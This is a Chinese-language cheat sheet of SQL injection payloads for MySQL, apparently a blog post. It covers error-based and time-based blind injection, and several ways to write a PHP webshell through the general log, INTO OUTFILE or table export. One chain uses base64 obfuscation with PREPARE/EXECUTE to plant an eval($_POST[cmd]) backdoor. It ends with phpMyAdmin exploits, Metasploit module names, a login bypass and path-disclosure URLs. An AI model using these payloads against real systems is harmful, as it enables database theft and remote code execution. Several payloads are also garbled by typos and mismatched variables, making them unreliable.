SQL注入語法有哪些

sql注入語法

報錯注入

updatexml(1,concat(0x7e,(select database()),0x7e),1)--+  extractvalue(1,concat(0x7e,(select database()),0x7e),1)--+  select count(*) from information_schema.tabeles group by concat((select database(),floor(rand(0)*2)  select substr(version(),1,1)='X'  select substring(version(),1,1)='X'

列名重復報錯

select * from (select name_const(version(),1))a;  select * from (select name_const((version()),1),name_const((select database()),1))a;  select * from (select * from users a join users b)c;

數據溢出報錯

select (select(!x-~0) from (select(select user())x)a);  select ~0+!(select * from (select user())x);

幾何函數報錯

multipoint((select * from(select * from(select user())a)b));

case when 語句

select * from datadatabase() case id when 1 else 2 end

時間注入

if right((select database()),a,b)>'s' sleep(5)  if assic(substr((select database()),a,b))=98 sleep(5)  if assic(substr((select database()) from a to b))=98 sleep(5)  if ord(mid((select database()),a,b))=98 sleep(5)
通過日志寫shell
利用條件

已知物理路徑,目錄可寫,root權限。

查看配置

show variables like ‘%general’;

開啟general log模式

set global general_log=on;

設置日志寫shell地址*

set global general_log_file=”/var/www/html/log.php”;

寫入shell

select ““;

通過into outfile寫shell

利用條件

已知物理路徑,目錄可寫

select '<?php phpinfo();>' into outfile ‘/var/www/html/1.php'

通過導出表寫入shell

use mysql;  create table shell(shell1 text not null);  insert into shell(cmd1) values('<?php phpinfo();>');  select cmd1 from a into outfile '/var/www/html/1.php';

mysql from_base64函數利用

利用base64編碼來加密,然后使用自定義變量接到,在使用prepare和EXECUTE來執行語句,完成日志寫shell的操作。

set

set 用戶定義一個變量,變量里面是sql可以執行的語句。

SQL注入語法有哪些

prepare

prepare name from value;

prepare 語句用于預備一個語句,并指定名稱name,然后引用改語句。

SQL注入語法有哪些

execute

execute 語句用于執行預備的語句。

SQL注入語法有哪些

聯合起來利用

set @sql1 = (select from_base64('c2V0IGdsb2JhbCBnZW5lcmFsX2xvZz1vbg==')); /*set global general_log=on*/ PREPARE name from @sql; EXECUTE name; set @sql2= (select from_base64('c2V0IGdsb2JhbCBnZW5lcmFsX2xvZ19maWxlPSJDOlxcTVlPQVxcd2Vicm$9$vdFxcbG9naW4ucGhwIg==')); /*set global general_log_file="C:MYOAwebrootlogin.php"*/ PREPARE name from sql2; EXECUTE name; select "<?php eval($_POST[cmd]); ?>"; set @sql3 := (select from_base64('c2V0IGdsb2JhbCBnZW5lcmFsX2xvZyA9IG9mZg==')); /*set global general_log = off*/ PREPARE name from @sql3; EXECUTE name;

phpMyAdmin 漏洞合集

phpmyadmin存在pregreplaceeval漏洞

影響版本:3.5.x

phpmyadmin存在serversync.php后門漏洞

影響版本 phpmyadmin v3.5.2.2

msf利用模塊 : exploit/multi/http/phpmyadmin3522_backdoor CVE-2012-5159

phpmyadmin 配置文件/config/config.inc.php存在命令執行漏洞

影響版本: 2.11.x

msf利用模塊:exploit/unix/webapp/phpmyadmin_config CVE-2009-1151

登錄處漏洞

利用方法:用戶名處寫入’localhost’@’@”

影響版本:2.113/2.114

php爆絕對路徑

phpMyAdmin/libraries/selectlang.lib.php

phpMyAdmin/darkblueorange/layout.inc.php

phpMyAdmin/index.php?lang[]=1

phpmyadmin/themes/darkblue_orange/layout.inc.php

? 版權聲明
THE END
喜歡就支持一下吧
點贊13 分享